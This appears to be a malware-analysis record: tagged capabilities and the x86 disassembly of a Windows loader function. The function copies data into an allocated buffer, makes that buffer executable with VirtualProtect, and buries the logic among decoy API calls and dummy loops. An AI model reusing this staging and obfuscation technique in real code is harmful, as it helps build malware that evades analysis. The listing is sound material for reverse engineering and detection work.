Function at 0x4039c4
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get common file path

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x420c67
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x1cd4
call fcn.0040bdc0
push ebx
push esi
xor esi, esi
cmp dword [0x4d3588], 0x5b1
push edi
jne 0x403a7f
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402e80
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push esi
call dword [sym.imp.KERNEL32.dll_IsProcessorFeaturePresent]
lea eax, [esp + 0x24]
call fcn.00403d37
push esi
mov dword [esp + 0x1cf0], esi
call fcn.004048cc
pop ecx
call fcn.0040486a
push 0x402eb4
lea ecx, [esp + 0x14]
call fcn.004035a0
lea ecx, [esp + 0x10]
call fcn.004035bc
lea ecx, [esp + 0x10]
call fcn.00403602
lea ecx, [esp + 0x10]
call fcn.0040361b
push esi
push esi
call fcn.00404be9
push esi
call fcn.00404bba
add esp, 0xc
push esi
call fcn.00405002
add dword [0x4d3588], 0x1134b
push dword [0x4d3588]
push esi
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push dword [0x4d3588]
mov dword [0x4d24dc], eax
push eax
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
xor edi, edi
push esi
call ebx
call dword [sym.imp.KERNEL32.dll_GetLastError]
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
cmp edi, 0x206d47
jg 0x403ad7
inc edi
cmp edi, 0x4f6a4
jl 0x403ab7
xor edi, edi
cmp dword [0x4d3588], esi
jbe 0x403b35
cmp dword [0x4d3588], 0xa8
mov eax, dword [0x4d358c]
mov al, byte [eax + edi + 0x1134b]
mov ecx, dword [0x4d24dc]
mov byte [ecx + edi], al
jne 0x403b2c
push 0x402ec8
push esi
call dword [sym.imp.KERNEL32.dll_SetComputerNameExA]
push 0x402f38
lea eax, [esp + 0xe4]
push eax
call dword [sym.imp.KERNEL32.dll_lstrcatA]
lea eax, [esp + 0x1c]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
inc edi
cmp edi, dword [0x4d3588]
jb 0x403ae1
xor edi, edi
mov eax, dword [0x4d3588]
add eax, edi
cmp eax, 0xe
jne 0x403b9b
push esi
lea eax, [esp + 0xe4]
push eax
push esi
push 0x402f1c
push esi
call dword [sym.imp.KERNEL32.dll_FoldStringA]
push esi
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasA]
push esi
lea eax, [esp + 0x8e4]
push eax
push esi
push 0x402f98
push esi
push esi
call dword [sym.imp.KERNEL32.dll_GetNumberFormatW]
push 0x402fe8
push 0x4030e0
push esi
call dword [sym.imp.KERNEL32.dll_FindResourceW]
push esi
push esi
lea eax, [esp + 0x14e8]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
inc edi
cmp edi, 0x39621
jl 0x403b37
call fcn.004038ad
xor edi, edi
push esi
call ebx
cmp edi, 0x26
jne 0x403bb8
call fcn.004039aa
inc edi
cmp edi, 0x6753f
jl 0x403bab
push 0x7b
pop edi
cmp dword [0x4d3588], 0x86
jne 0x403c29
push esi
push esi
push esi
lea eax, [esp + 0x4c]
push eax
call dword [sym.imp.KERNEL32.dll_VerifyVersionInfoA]
push 0x403118
push 0x403170
call dword [sym.imp.KERNEL32.dll_SetVolumeLabelA]
push esi
push esi
push esi
push 0x4031c4
push 0x4031f8
push esi
call dword [sym.imp.KERNEL32.dll_UpdateResourceW]
push esi
push esi
push esi
call dword [sym.imp.KERNEL32.dll_AddConsoleAliasA]
push esi
lea eax, [esp + 0x10e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetSystemWindowsDirectoryA]
push esi
lea eax, [esp + 0x4e4]
push eax
call dword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
dec edi
jne 0x403bc4
push 0x403250
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
mov ecx, dword [esp + 0x1ce4]
pop edi
pop esi
mov dword fs:[0], ecx
pop ebx
mov esp, ebp
pop ebp
ret